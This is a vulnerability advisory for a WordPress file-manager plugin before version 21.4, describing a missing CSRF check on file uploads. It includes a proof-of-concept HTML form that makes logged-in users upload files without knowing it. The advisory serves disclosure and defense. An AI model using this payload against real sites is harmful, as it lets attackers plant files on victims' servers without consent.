WordPress Plugin Vulnerabilities

Frontend File Manager < 21.4 - File Upload via CSRF

Description

The plugin does not have CSRF check when uploading files, which could allow attackers to make logged in users upload files on their behalf

Proof of Concept

<form action="https://example.com.com/wp-admin/admin-ajax.php?action=wpfm_upload_file" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" value="">
    <input type="text" name="_file" value="payload.pdf">
    <input type="submit" name="submit" value="submit">
</form>

The file won't show up via the frontend/backend, but will be uploaded in the user folder (ie in wp-content/uploads/user_uploads/<usernname>/payload.pdf)

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-09-26 (about 1 years ago)
Added
2022-09-26 (about 1 years ago)
Last Updated
2022-09-26 (about 1 years ago)

Other